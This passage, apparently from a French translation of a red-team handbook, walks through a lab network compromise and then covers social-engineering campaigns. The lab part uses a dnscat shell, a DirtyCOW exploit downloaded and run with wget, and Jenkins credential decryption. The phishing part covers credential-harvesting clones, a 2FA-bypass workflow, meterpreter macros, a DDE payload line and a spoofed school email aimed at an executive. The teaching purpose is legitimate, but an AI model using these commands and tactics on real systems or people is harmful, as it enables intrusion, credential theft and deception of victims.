FIGURE 4.49 : Exécuter l’exploit struts2.
	Une fois que la charge utile s’exécute, vous n’obtiendrez aucune sorte de confirmation dans Metasploit (puisque nous avons utilisé une charge utile dnscat). Vous devrez vérifier que votre serveur DNScat ne dispose pas de connexions utilisant du trafic DNS.

	De retour sur votre serveur dnscat2, vérifiez votre charge utile nouvellement exécutée et créez un terminal shell.
	Interagissez avec votre première charge utile :
	window -i 1



	Générez un processus Shell :
	shell



	Revenez au menu principal à l’aide des touches du clavier :
	ctrl + z



	Interagissez avec votre nouveau shell :
	window -i 2



	Tapez les commandes shell :
	ls






Cette séquence est illustrée sur la Figure 4.50.
[image: FIGURE 4.50 : Compromettre le serveur OpenCMS/Apache Struts.]
FIGURE 4.50 : Compromettre le serveur OpenCMS/Apache Struts.
Vous avez compromis le serveur OpenCMS/Apache Struts ! Et maintenant ? Vous passez un peu de temps à examiner le serveur et à rechercher des secrets juteux. Rappelez-vous que le serveur exécute l’application Web OpenCMS. Vérifiez que l’application est bien configurée sous /opt/tomcat/webapps/kittens. En examinant le fichier de configuration des propriétés OpenCMS, nous trouvons la base de données, le nom d’utilisateur, le mot de passe et l’adresse IP 172.16.250.10.
Récupérer les informations de la base de données (voir la Figure 4.51) :
	cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties


[image: FIGURE 4.51 : Récupérer les informations dans le fichier opencms.properties.]
FIGURE 4.51 : Récupérer les informations dans le fichier opencms.properties.
Nous nous connectons à la base de données, mais nous ne voyons pas grand-chose. Le problème est que nous sommes actuellement un utilisateur Tomcat limité, ce qui entrave vraiment notre attaque. Par conséquent, nous devons trouver un moyen d’effectuer une élévation de privilèges. En lançant une reconnaissance de postexploitation sur le serveur (uname -a && lsb_release -a), vous identifiez le fait qu’il s’agit d’une version assez ancienne d’Ubuntu. Heureusement pour nous, ce serveur est vulnérable à l’élévation de privilèges DirtyCOW. Créons un binaire DirtyCOW et plaçons-nous au niveau root !
Élévation de privilèges via dnscat :
	Téléchargez et compilez DirtyCOW :
	cd /tmp

	wget http://bit.ly/2vdh2Ub-Odirtycow-mem.c

	gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

	./dirtycow-mem



	Essayez de garder l’exploit DirtyCOW stable et d’autoriser les redémarrages pour les paniques du noyau :
	echo 0 > /proc/sys/vm/dirty_writeback_centisecs

	echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops&& echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn



	whoami


C’est ce qu’illustre la Figure 4.52.
[image: FIGURE 4.52 : Élévation de privilèges avec DirtyCow.]
FIGURE 4.52 : Élévation de privilèges avec DirtyCow.
Remarque : DirtyCOW n’est pas une élévation de privilèges très stable. Si vous avez des problèmes avec votre exploit, consultez ma page GitHub pour un processus de création d’un binaire setuid plus stable ici :
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab

Si vous avez toujours des problèmes, l’autre option consiste à vous connecter au serveur initial via SSH et d’exécuter la charge utile DNScat en tant que root. Pour vous connecter, utilisez les identifiants hacker/changeme et sudo su - to root.
Maintenant, vous êtes devenu un utilisateur root en raison de l’absence de correctif/patch sur le système hôte. Lorsque vous recommencez à piller la boîte pour y découvrir des secrets, vous tombez sur l’historique des commandes bash de root. Dans ce fichier, vous allez trouver une commande SSH et une référence de clé privée SSH. Nous pouvons prendre cette clé SSH et nous connecter à notre deuxième boîte, 172.16.250.30 (voir la Figure 4.53):
[image: FIGURE 4.53 : Pousser l’exploration encore plus loin.]
FIGURE 4.53 : Pousser l’exploration encore plus loin.
	cat ~/.bash_history

	head ~/.ssh/id_rsa

	ssh -i ~/.ssh/id_rsa root@172.16.250.30


Vous passez un peu de temps sur la deuxième boîte et vous essayez de comprendre à quoi elle sert. En faisant des recherches, vous remarquez qu’il y a un utilisateur Jenkins dans le répertoire /home, ce qui vous amène à identifier un service Jenkins fonctionnant sur le port 8080. Comment pouvons-nous utiliser notre navigateur pour voir ce qu’il y a sur le serveur Jenkins ? C’est là que la fonction de transfert de port de dnscat entre en jeu. Nous devons sortir de notre shell initial et nous rendre au terminal de commande. À partir de là, nous avons besoin de mettre en place un auditeur pour acheminer notre trafic depuis notre machine attaquante, via le dnscat, vers la boîte Jenkins (172.16.250.30) sur le port 8080.
Exécuter un transfert de port dnscat :
	Sortir de notre shell actuel :
	Ctrl + z



	Revenir à notre premier agent et configurer un auditeur/port de transfert :
	window -i 1

	listen 127.0.0.1:8080 172.16.250.30:8080



	Sur la machine virtuelle Kali, ouvrir un navigateur et utiliser notre transfert de port (il sera très lent sur DNS). C’est ce qu’illustre la Figure 4.54 :
	http://127.0.0.1:8080/jenkins




[image: FIGURE 4.54 : Réaliser un transfert de port.]
FIGURE 4.54 : Réaliser un transfert de port.
Dans le gestionnaire d’informations d’identifications de l’application Jenkins, nous allons constater que le mot de passe de l’utilisateur db_backup est stocké, mais non visible (voir la Figure 4.55). Nous devons trouver un moyen d’obtenir cet identifiant de Jenkins, de sorte que nous puissions continuer notre mouvement latéralement.
[image: FIGURE 4.55 : Le mot de passe de l’utilisateur db_backup n’est pas visible.]
FIGURE 4.55 : Le mot de passe de l’utilisateur db_backup n’est pas visible.
n00py a fait d’excellentes recherches sur les identifiants stockés dans Jenkins et comment les extraire (https://bit.ly/2Hlts0Y). Nous pouvons profiter de cette attaque en utilisant notre shell existant et en récupérant les fichiers credentials.xml, master.key, et hudson.util.Secret.
	Revenez au menu principal dans dnscat et interagissez avec votre shell d’origine :
	Ctrl + z

	window -i 2



	Allez dans le répertoire home de Jenkins et récupérez les trois fichiers : credentials.xml, master.key et hudson.util.Secret.
	cd /home/Jenkins



	Nous pouvons essayer de télécharger ces fichiers, ou bien nous pouvons les traiter avec base64 et les copier via le shell courant.
	base64 credentials.xml

	base64 secrets/hudson.util.Secret

	base64 secrets/master.key



	Nous pouvons recopier les sorties de base64 sur notre boîte Kali et les décoder pour inverser le mot de passe de l’utilisateur db_backup.
	cd /opt/jenkins-decrypt

	echo “<base64 hudson.util.Secret>” | base64 --decode > hudson.util.Secret

	echo “<base64 master.key >” | base64 --decode > master.key

	echo “<base64 credentials.xml >” | base64 --decode > credentials.xml



	Décrypter le mot de passe avec https://github.com/cheetz/jenkins-decrypt (voir la Figure 4.56) :
	python3 ./decrypt.py master.key hudson.util.Secret credentials.xml




[image: FIGURE 4.56 : Décrypter le mot de passe de l’utilisateur.]
FIGURE 4.56 : Décrypter le mot de passe de l’utilisateur.
Nous avons réussi à décrypter le mot de passe de l’utilisateur db_backup : ‘)uDvra{4UL^;r?*h’. Si nous jetons un coup d’œil à nos notes précédentes, nous voyons dans le fichier de propriétés OpenCMS que le serveur de base de données se trouvait à l’adresse 172.16.250.50. Il semble que ce serveur Jenkins, pour une raison quelconque, effectue une certaine sorte de sauvegarde vers le serveur de base de données. Vérifions si nous pouvons prendre les identifiants de db_backup pour nous connecter au serveur de base de données via SSH. Le seul problème est que, via notre shell dnscat, nous n’avons pas d’entrée standard directe (STDIN) pour interagir avec le message de mot de passe SSH. Nous devrons donc utiliser à nouveau notre transfert de port pour passer notre shell SSH de notre machine virtuelle Kali au serveur de base de données (172.16.250.50) en passant par l’agent dnscat.
	Revenez au shell :
	Ctrl + z

	window -i 1



	Créez un nouveau transfert de port pour passer de localhost au serveur de base de données sur 172.16.250.50 :
	listen 127.0.0.1:2222 172.16.250.50:22




C’est ce qu’illustre la Figure 4.57.
[image: FIGURE 4.57 : Retour vers le serveur de base de données.]
FIGURE 4.57 : Retour vers le serveur de base de données.
Une fois sur le serveur de base de données (172.16.250.50) avec le compte db_backup, on remarque que celui-ci fait partie du fichier sudoers (droits utilisateurs) et peut sudo su vers root. Une fois en tant que root sur le serveur de base de données, nous fouillons partout, mais nous ne trouvons pas d’identifiants pour accéder à la base de données. Nous pourrions réinitialiser le mot de passe de la base de données racine, mais cela pourrait finir par « casser » certaines des autres applications. Au lieu de cela, nous recherchons les différentes bases de données situées sous /var/lib/mysql. Nous localisons une base appelée cyberspacekittens. Ici, nous trouvons le fichier secrets.ibd qui contient toutes les données de la table des secrets. Au fur et à mesure que nous lisons ces données, nous nous rendons compte qu’elles pourraient bien être cryptées (voir la Figure 4.58)… C’est à vous de découvrir la suite !
Félicitations ! Vous avez réussi à compromettre le réseau Cyber Space Kittens !
Mais ne vous arrêtez pas là... Il y a encore beaucoup de choses que vous pouvez réaliser. Nous avons seulement effleuré la surface. N’hésitez pas à jouer sur ces systèmes, trouver des fichiers plus sensibles, découvrir d’autres moyens de réaliser des élévations de privilèges, et ainsi de suite. À titre de référence, dans ce labo, la topologie de l’environnement est représentée sur la Figure 4.59.


Conclusion
Dans ce chapitre, nous avons passé en revue le thème de la compromission de réseaux. Nous avons commencé par rechercher des identifiants, ou en agissant par ingénierie sociale pour trouver un chemin vers notre première victime. À partir de là, nous avons pu « vivre de la terre », obtenir des informations sur le réseau/les systèmes, pivoter autour des boîtes, élever les privilèges, et finalement compromettre l’ensemble du réseau. Tout cela a été accompli avec un minimum de scans, en utilisant les caractéristiques du réseau et en essayant d’échapper à toutes les sources de détection.
[image: FIGURE 4.58 : Le réseau Cyber Space Kittens est (presque) compromis !]
FIGURE 4.58 : Le réseau Cyber Space Kittens est (presque) compromis !
[image: FIGURE 4.59 : Topologie de l’environnement du labo.]
FIGURE 4.59 : Topologie de l’environnement du labo.


1.  Voir par exemple https://fr.wikipedia.org/wiki/EternalBlue.
2.  Voir aussi par exemple https://bit.ly/2Xniro7.
3.  Pour le terme forensique, voir par exemple https://fr.wikipedia.org/wiki/Science_forensique.
4.  Voir par exemple https://labo-microsoft.supinfo.com/articles/gpo_gpmc/.
5.  Voir par exemple https://bit.ly/2MXT9Jk.
6.  Voir par exemple https://fr.wikipedia.org/wiki/Link-local_Multicast_Name_Resolution.
7.  Voir par exemple https://bit.ly/2ZzwvbC.
8.  Voir par exemple https://bit.ly/2WRiZTV.
9.  Voir par exemple https://bit.ly/2KZw2vf.
10.  Voir par exemple https://bit.ly/2IqF3vw.
11. Pour la syntaxe de netstat, voir par exemple https://fr.wikipedia.org/wiki/Netstat. Pour la syntaxe de net group, voir par exemple https://bit.ly/2WVqSYt.
12. Pour la syntaxe de tasklist, voir par exemple https://bit.ly/2XhJQrF.
13. Pour la syntaxe de Get-WmiObject, voir par exemple https://bit.ly/2L5fNwD. Pour la syntaxe de wmic, voir par exemple https://bit.ly/2KZL7wG.
14. Pour la syntaxe de findstr, voir par exemple https://bit.ly/2x8vvig.
15. Pour plus d’informations sur PowerShell, voir par exemple https://bit.ly/31GPLWB.
16. RTFM est l’abréviation de Red Team Field Manual. C’est aussi une plaisanterie rappelant le sigle RTFM, pour Read The Fucking Manual. Voir par exemple https://fr.wikipedia.org/wiki/RTFM_(expression).
17.  Voir par exemple https://fr.wikipedia.org/wiki/Preuve_de_concept.
18.  Voir par exemple https://bit.ly/2x5sOyf.
19.  Voir par exemple https://bit.ly/2WVUiWf.
20.  Voir par exemple https://fr.wikipedia.org/wiki/Authentification_unique.
21. Attaque dite aussi fileless, ou encore hors sol. Voir par exemple à ce sujet https://bit.ly/2WR9rmU ou encore https://symc.ly/2N3wIT3.
22. Voir https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names.
23. Voir par exemple https://bit.ly/2x8123X.
24. Mécanisme servant à ingérer, en l’occurrence un programme qui lit les données entrant dans le système par un port de communication. Voir par exemple https://bit.ly/2N4Od5d, ou encore https://bit.ly/31QsnpF.
25. Liste de contrôle d’accès. Voir par exemple https://bit.ly/2XqNgrT ou encore https://bit.ly/2Xqkrfj.
26.  Voir par exemple https://bit.ly/2N5n0PR ou encore https://amzn.to/31NftbR.
27.  Voir par exemple https://www.offensive-security.com/metasploit-unleashed/fun-incognito/.
28. Un stager est un extrait de code qui permet à du code malveillant de s’exécuter via un agent sur l’hôte compromis.
29. Voir par exemple https://en.wikipedia.org/wiki/Pass_the_hash ou encore https://bit.ly/2xcIbVq.
30. Voir par exemple https://fr.wikipedia.org/wiki/Relative_ID ou https://bit.ly/2Y8PV6Q ou encore https://bit.ly/2Y5VzXq.
31. Voir par exemple https://beta.hackndo.com/kerberoasting/.
32. Voir par exemple :https://fr.wikipedia.org/wiki/Kerberos_(protocole).
33. Voir par exemple https://fr.wikipedia.org/wiki/Shadow_Copy.
34. Voir par exemple https://beta.hackndo.com/kerberos-silver-golden-tickets/.
35. Voir par exemple https://crowd42.github.io/blog/ptf/.
36. Voir par exemple https://fr.wikipedia.org/wiki/Remote_Desktop_Protocol.
37. Voir par exemple https://bit.ly/2RzTmRF.

Chapitre 5
La passe avant écran – Ingénierie sociale
Construire vos campagnes d’ingénierie sociale (SE)
En tant que membres d’une Red Team, nous adorons les attaques d’ingénierie sociale (SE, pour social engineering). Non seulement parce qu’il peut généralement s’agir d’attaques ne réclamant qu’un faible niveau de compétences, mais aussi parce qu’il est facile d’élaborer une campagne extrêmement fiable pour un coût très faible. Il suffit de mettre en place quelques faux domaines, des serveurs, de créer des emails, de laisser traîner des clés USB, et c’est tout pour aujourd’hui.
En termes de mesures, nous capturons les choses évidentes, comme le nombre d’emails envoyés, le nombre d’utilisateurs qui ont cliqué sur le lien et le nombre d’utilisateurs qui saisissent leur mot de passe. Nous essayons également d’être créatifs et d’apporter une valeur substantielle aux entreprises qui nous engagent. Un exemple en est fourni par le concours d’ingénierie sociale de DefCon, dans lequel les concurrents doivent trouver des informations sur des entreprises en téléphonant à des employés ou des centres. Si vous n’êtes pas familier avec cette compétition, sachez que ces concurrents ont un temps limité pour trouver un certain nombre de renseignements (des drapeaux) basés sur l’entreprise. Ces drapeaux peuvent être capturés en obtenant des informations en provenance de l’entreprise telles que leur VPN, le type d’antivirus qu’ils utilisent, des informations spécifiques aux employés, ou la possibilité d’amener un employé à visiter une certaine URL, et plus encore. Si vous voulez voir tous les drapeaux utilisés, consultez le rapport du concours 2018 : https://bit.ly/2XxLipQ. Ces types d’attaques peuvent aider une entreprise à accroître la sensibilisation interne en apprenant à ses employés à repérer le mal et à le signaler aux équipes concernées.
Dans ce chapitre, nous allons aborder sans trop insister certains des outils et des techniques que nous utilisons pour mener nos campagnes. Dans le cas des attaques de style SE, il n’y a pas de bonnes ou de mauvaises réponses. Tant qu’elles fonctionnent, c’est bon pour nous.
Domaines « sosies »
Ce thème a largement été abordé dans une édition antérieure de ce livre. C’est toujours l’un des moyens les plus efficaces pour obtenir cette identification initiale ou pour placer un malware. La technique la plus courante consiste à acheter un nom de domaine qui est très similaire à celui d’une entreprise, ou qui correspond à une faute de frappe courante dans ce nom.
Dans l’édition évoquée ci-dessus, nous prenions un exemple dans lequel, en partant de mail.cyberspacekittens.com, nous achetions le domaine mailcyberspacekittens.com et nous mettions en place une fausse page Outlook pour saisir les identifiants. Lorsque les victimes se rendaient sur le faux site et entraient leur mot de passe, nous recueillions ces données et nous les redirigions vers le serveur de messagerie valide de l’entreprise (mail.cyberspacekittens.com). Cela leur donnait l’impression d’avoir accidentellement mal tapé leur mot de passe une première fois, et ils effectuaient alors une nouvelle connexion.
Le meilleur dans tout cela, c’est que vous n’avez pas vraiment besoin de faire de l’hameçonnage. Quelqu’un va simplement faire une faute de frappe ou oublier le point (.) entre ‘mail’ et ‘cyberspacekittens’, puis saisir ses identifiants. Nous avons même des victimes qui ont enregistré notre site malveillant dans leurs favoris et qui y reviennent tous les jours !

Comment cloner des pages d’authentification
L’un des meilleurs outils pour cloner rapidement des pages d’authentification d’applications Web est le Social Engineering Toolkit (SET) de TrustedSec. C’est un outil standard pour toute campagne de SE où l’obtention d’identifiants est une priorité. Vous pouvez télécharger SET à l’adresse suivante :
https://github.com/trustedsec/social-engineer-toolkit

Configuration de SET :
	Configurez SET pour utiliser Apache (au lieu de Python par défaut). Pour cela, modifiez le fichier de configuration de la manière suivante :
	gedit /etc/setoolkit/set.config
	APACHE_SERVER=ON

	APACHE_DIRECTORY=/var/www/html

	HARVESTER_LOG=/var/www/html





	Lancez Social Engineering Toolkit (SET):
	cd /opt/social-engineer-toolkit

	setoolkit



	1) Spear-Phishing Attack Vectors

	2) Website Attack Vectors

	3) Credential Harvester Attack Method

	2) Site Cloner

	IP de votre serveur d’attaque

	Site à cloner

	Ouvrez un navigateur et allez sur votre serveur d’attaque et testez


Tous les fichiers seront stockés sous /var/www/html et les mots de passe sous harvester*. Voyons quelques bonnes pratiques lors du clonage de pages pour des campagnes de Social Engineering :
	Déplacez votre serveur Apache pour qu’il fonctionne sur SSL.

	Déplacer toutes les images et ressources localement (au lieu d’appeler depuis le site cloné).

	Personnellement, j’aime stocker tous les mots de passe enregistrés avec ma clé pgp publique. De cette façon, si le serveur est compromis, il n’y a aucun moyen de récupérer les mots de passe sans la clé privée. Tout cela peut être supporté avec gnupg_encrypt et gnupg_decrypt1.



Double authentification
Nous voyons de plus en plus de clients avec une double authentification (ou 2FA). Bien que cette technique soit très pénible pour les Red Teams, il n’est pas impossible de s’en sortir. Historiquement, nous avons dû créer des pages personnalisées qui s’occupaient de tout cela. D’accord. Mais, maintenant, nous avons à notre disposition ReelPhish. ReelPhish est un outil créé par FireEye. Il permet à une équipe rouge d’utiliser Selenium et Chrome pour déclencher automatiquement la double authentification lorsqu’une victime entre ses identifiants sur notre page de phishing.
Pour mettre en œuvre ReelPhish (https://github.com/fireeye/ReelPhish) :
	Clonez un site victime nécessitant une authentification 2FA.

	Sur votre propre boîte d’attaque, analysez le trafic nécessaire pour vous connecter au site réel. Dans mon cas, j’ouvre Burp Suite et j’obtiens tous les paramètres post nécessaires pour m’authentifier.

	Modifiez le site cloné pour qu’il utilise ReelPhish. Voyez /examplesitecode/samplecode.php, et saisissez tous les paramètres nécessaires à votre authentification.

	La victime se laisse avoir par le site cloné et s’authentifie

	Les informations d’identification sont renvoyées à l’attaquant.

	ReelPhish va s’authentifier sur le site réel, déclenchant la double authentification.

	La victime reçoit un code 2FA ou via un appel téléphonique.

	La victime est redirigée vers le site réel pour se reconnecter (en pensant qu’elle a échoué la première fois).


Comme l’illustre la Figure 5.1, nous devrions maintenant avoir une session authentifiée outrepassant la double authentification. Bien qu’il semble que Linux soit supporté, j’ai eu quelques problèmes pour faire fonctionner cela avec Kali. Une exécution sous Windows est préférable. Vous trouverez plus d’informations sur ReelPhish sur le site Web de FireEye :
https://bit.ly/2Ectl7t

[image: FIGURE 5.1 : Détourner une double authentification.]
FIGURE 5.1 : Détourner une double authentification.
Il existe quelques autres outils qui manipulent aussi bien différents modes de contournement de la double authentification :
	https://github.com/kgretzky/evilginx

	https://github.com/ustayready/CredSniper


Une chose que je tiens à mentionner à ce propos est de s’assurer que vous vérifiez bien toutes les différentes méthodes d’authentification une fois que vous possédez les identifiants. Ce que je veux dire par là, c’est qu’ils peuvent avoir une double authentification pour le portail Web, mais que ce n’est peut-être pas nécessaire pour les API, d’anciens clients lourds2 ou tous les terminaux d’application. Nous avons vu de nombreuses applications nécessitant une double authentification sur de simples terminaux, mais dénuées de protection de sécurité sur d’autres parties de l’application.


Hameçonnage
L’hameçonnage traditionnel (phishing) est une autre technique qui connaît un grand succès auprès des Red Teams. Au fond, l’hameçonnage repose sur la peur, l’urgence ou quelque chose qui semble trop beau pour être vrai. La peur et l’urgence fonctionnent bien et je suis sûr que nous avons tous déjà rencontré ces sentiments. Voici quelques exemples de types d’attaques basées sur la peur et l’urgence :
	un faux email avec un achat frauduleux ;

	quelqu’un a piraté votre courriel ;

	email à propos de fraude fiscale.


Le problème avec ces attaques très générales, c’est que nous observons que les employés des entreprises sont de plus en plus intelligents. Habituellement, au moins 1 email sur 10 pour une attaque de type hameçonnage de base sera signalé. Dans certains cas, les chiffres sont beaucoup plus élevés. C’est là qu’il est précieux pour une Red Team de surveiller continuellement de telles attaques pour voir si une entreprise s’améliore pour faire face à ces situations.
Pour ceux qui recherchent des attaques plus automatisées, nous aimons beaucoup Gophish (https://getgophish.com/documentation/). Gophish est assez facile à configurer et à maintenir, il supporte les templates et le HTML, et suit/documente tout ce dont vous avez besoin. Si vous êtes un fan de Ruby, il y a aussi Phishing Frenzy (https://bit.ly/2Yex0aR) ; et King Phisher pour Python (https://bit.ly/2RAXmkO).
Ces outils automatisés sont parfaits pour enregistrer des campagnes d’hameçonnage simples. Pour nos campagnes ciblées, nous adoptons une approche plus manuelle. Par exemple, si nous faisons des recherches dans les enregistrements d’emails de la victime et que nous déterminons qu’elle utilise Office 365, nous pouvons trouver un moyen de construire une campagne très réaliste à partir de cette information. De surcroît, nous essayons de trouver des emails ayant fuité de cette entreprise, les programmes qu’elle exécute, les nouvelles fonctionnalités, les mises à niveau du système, les regroupements et toute autre information qui pourrait aider.
Il y a aussi des moments où nous menons des campagnes exécutives plus ciblées. Dans ces campagnes, nous essayons d’utiliser tous les outils open source pour rechercher des informations sur les gens, leurs biens, leurs familles et plus encore. Par exemple, si nous ciblons un cadre supérieur, nous effectuons une recherche sur pipl.com, nous obtenons ses comptes sur les réseaux sociaux, nous découvrons où ses enfants vont à l’école et nous usurpons un email de cette école disant qu’il doit ouvrir tel document Word. Cela prend beaucoup de temps, mais les taux de réussite sont élevés.
Macros Microsoft Word/Excel
L’une des méthodes les plus anciennes, mais testées et approuvées, de l’ingénierie sociale consiste à envoyer à votre victime un fichier Microsoft Office malveillant. Pourquoi les fichiers Office sont-ils parfaits pour une charge utile malveillante ? Parce que, par défaut, les fichiers Office supportent Visual Basic for Applications (VBA) qui permet l’exécution de code d’attaque. Bien que cette méthode soit facilement détectée de nos jours par un antivirus, elle fonctionne encore dans de nombreux cas avec des techniques d’obscurcissement.
Au niveau le plus basique, nous pouvons utiliser Empire ou Unicorn pour créer une macro VBA :
	Dans Empire :
	Faites : usestager windows/macro

	Configurez les paramètres appropriés : info

	Créez la macro : generate



	Si vous voulez créer une charge utile pour Meterpreter, vous pouvez utiliser un outil comme Unicorn :
	cd /opt/unicorn

	./unicorn.py windows/meterpreter/reverse_https [votre_ip] 443 macro

	Démarrer un gestionnaire Metasploit : msfconsole -r ./unicorn.rc




Une fois générée, votre charge utile ressemblera à l’illustration de la Figure 5.2.
[image: FIGURE 5.2 : Générer une macro Office malveillante.]
FIGURE 5.2 : Générer une macro Office malveillante.
Comme vous pouvez le constater, il s’agit d’exécuter un simple script PowerShell base64 obscurci. Cela peut aider à contourner certains antivirus, mais il est important de vous assurer que vous les testez bien avant d’entreprendre une campagne en live. Une fois que vous avez généré une macro, vous pouvez créer rapidement un document Excel :
	Ouvrez Excel.

	Allez dans l’onglet Affichage -> Macros -> Afficher les macros.

	Ajoutez un nom de macro, configurez la macro pour le Classeur1, et cliquez sur Créer (voir la Figure 5.3).

	Remplacez tout le code actuel par le code généré ci-dessus (voir la Figure 5.4).

	Enregistrez au format .xls (Excel 97-2003) ou Excel (prenant en charge les macros).


Désormais, chaque fois que quelqu’un ouvre votre document, il reçoit un avertissement de sécurité avec un bouton pour activer le contenu (voir la Figure 5.5). Si vous pouvez tromper votre victime de manière à ce qu’elle clique sur le bouton Activer le contenu, votre script PowerShell s’exécutera et vous obtiendrez un shell Empire.
[image: FIGURE 5.3 : Créer une nouvelle macro dans Excel.]
FIGURE 5.3 : Créer une nouvelle macro dans Excel.
[image: FIGURE 5.4 : Le code malveillant est copié dans une macro Excel.]
FIGURE 5.4 : Le code malveillant est copié dans une macro Excel.
[image: FIGURE 5.5 : Excel vous incite à la prudence.]
FIGURE 5.5 : Excel vous incite à la prudence.
Comme mentionné précédemment, cette méthode est ancienne quoique éprouvée, si bien que de nombreuses victimes sont peut-être déjà au courant de cette attaque. Une autre piste que nous pouvons emprunter avec les documents Office est l’intégration d’un fichier batch (.bat) avec notre charge utile. Dans les dernières versions d’Office, les objets ne s’exécuteront pas si la victime double-clique sur le fichier .bat inséré dans le document Word. Nous devons généralement essayer de les piéger pour qu’elle le déplace sur son bureau et l’exécute (voir la Figure 5.6).
[image: FIGURE 5.6 : Tentative de tromperie sur une victime.]
FIGURE 5.6 : Tentative de tromperie sur une victime.
Nous pouvons procéder d’une manière plus automatisée à l’aide de LuckyStrike (https://github.com/curi0usJack/luckystrike). Avec LuckyStrike, nous pouvons créer des documents Excel avec notre charge utile placée dans des feuilles de calcul, et même avoir des exécutables complets (exe) enregistrés dans des documents Excel, qui peuvent être déclenchés en utilisant ReflectivePE pour une exécution totalement en mémoire. Pour en savoir plus sur LuckyStrike, voyez le lien https://bit.ly/2TF0i08.
Un dernier outil que je veux mentionner pour les fichiers Office est VBad (https://github.com/Pepitoh/VBad). Lors de l’exécution de VBad, vous devez activer les macros dans Office et cocher la case « Accès approuvé au modèle d’objet du projet VBA » dans les paramètres de sécurité des macros. Ceci permet au code Python de VBad de modifier et de créer des macros.
VBad obscurcit fortement vos charges utiles dans le document MS Office. Il ajoute également le cryptage, a de fausses clés pour tromper les équipes IR, et cerise sur le gâteau, il peut détruire la clé de cryptage après la première exécution réussie (ce qui donne un malware à usage unique). Une autre caractéristique est que VBad peut également détruire les références au module contenant la charge utile effective afin de le rendre invisible par des outils de développement VBA. Cela rend l’analyse et le débogage beaucoup plus difficiles. De plus, si les équipes d’intervention en cas d’incident tentent d’analyser le document Word exécuté par rapport au document original, toutes les clés seront manquantes (voir la Figure 5.7).
[image: FIGURE 5.7 : Utiliser VBad.]
FIGURE 5.7 : Utiliser VBad.

Fichiers Office sans macros – DDE
Une chose à noter à propos des attaques de la Red Team, c’est que, parfois, tout est une question de timing. Lors d’une de nos évaluations, une toute nouvelle vulnérabilité appelée DDE a d’abord été annoncée. Elle n’avait pas encore été détectée par les antivirus ou tout autre produit de sécurité, et donc c’était un excellent moyen d’obtenir notre point d’entrée initial. Bien qu’il existe maintenant plusieurs produits de sécurité capables de détecter ces vulnérabilités, il pourrait encore s’agir d’une attaque viable dans certains environnements.
DDE, c’est quoi ?
« Windows propose plusieurs méthodes pour le transfert de données entre applications. Une méthode consiste à utiliser le protocole DDE (Dynamic Data Exchange). Le protocole DDE3 est un ensemble de messages et de directives. Il envoie des messages entre les applications qui partagent des données, et utilise la mémoire partagée pour échanger des données entre applications. Les applications peuvent utiliser le protocole DDE pour des transferts de données ponctuels et pour les échanges continus dans lesquels les applications s’envoient des mises à jour à mesure que de nouvelles données deviennent disponibles. »
https://docs.microsoft.com/fr-fr/windows/desktop/dataxchg/about-dynamic-data-exchange

L’équipe de Sensepost a fait d’excellentes recherches et a découvert que DDEExecute était exposé à la fois par MS Excel et MS Word, et qu’ils pouvaient être utilisés pour créer une exécution de code sans utiliser de macros.
Dans Word :
	Allez dans l’onglet Insertion -> QuickPart -> Champ.

	Choisissez = (Formule).

	Cliquez avec le bouton droit de la souris sur : Fin de formule inattendue, et sélectionnez Basculer les codes de champ.

	Insérez votre charge utile (voir la Figure 5.8) :
	DDEAUTO c:\\windows\\system32\\cmd.exe “/k powershell.exe [charge utile Empire]”




[image: FIGURE 5.8 : Créer un champ pour une attaque DDE.]
FIGURE 5.8 : Créer un champ pour une attaque DDE.
Empire dispose d’un stager qui créera automatiquement le fichier Word et le script PowerShell associé (voir la Figure 5.8). Ce stager peut être configuré ainsi :
usestager windows/macroless_msword

[image: FIGURE 5.9 : Faire exécuter du code dans MS Word.]
FIGURE 5.9 : Faire exécuter du code dans MS Word.
Voir à ce sujet : https://bit.ly/2gzJxBI.
Existe-t-il d’autres fonctionnalités à abuser dans les documents Word autres que des exploits 0-day (voir https://bit.ly/2Lp6Uyi) ? La réponse est oui. Bien que nous n’en parlerons pas dans ce livre, un exemple serait celui des attaques dites subdoc (https://bit.ly/2mfO2UP). Ces attaques amènent la victime à faire une requête SMB vers un serveur attaquant sur Internet afin de collecter les hachages d’authentification NTLM. Cela peut fonctionner ou non, car la plupart des entreprises bloquent maintenant ce type d’attaque. Dans le cas contraire, nous pouvons utiliser l’attaque subdoc_injector pour tirer avantage de cette mauvaise configuration (https://bit.ly/2FNLyVL).


Charges utiles cryptées cachées
En tant que Red Teamers, nous sommes toujours à la recherche de moyens créatifs pour construire nos pages d’atterrissage, crypter nos charges utiles et inciter les utilisateurs à cliquer sur Exécuter ou équivalent. Deux outils différents avec des processus similaires sont EmbededInHTML et demiguise.
Le premier outil, EmbededInHTML, « prend un fichier (n’importe quel type de fichier), le chiffre et l’intègre dans un fichier HTML en tant que ressource, de même qu’une routine de téléchargement automatique simulant un utilisateur cliquant sur la ressource intégrée. Ensuite, lorsque l’utilisateur navigue dans le fichier HTML, le fichier intégré est décrypté à la volée, enregistré dans un dossier temporaire, et puis présenté à l’utilisateur comme s’il était téléchargé du site distant. Selon le navigateur de l’utilisateur et le type de fichier présenté, ce dernier peut être automatiquement ouvert par le navigateur » (https://github.com/Arno0x/EmbedInHTML).
	cd /op/EmbedInHTML

	python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w


Une fois que la victime accède au site malveillant, une fenêtre contextuelle l’invite à ouvrir notre fichier .xll dans Excel. Malheureusement, avec les versions les plus récentes d’Excel (à moins qu’elles ne soient mal configurées), l’utilisateur devra activer le complément pour exécuter notre charge utile. C’est là que vos astuces d’ingénierie sociale doivent entrer en jeu.
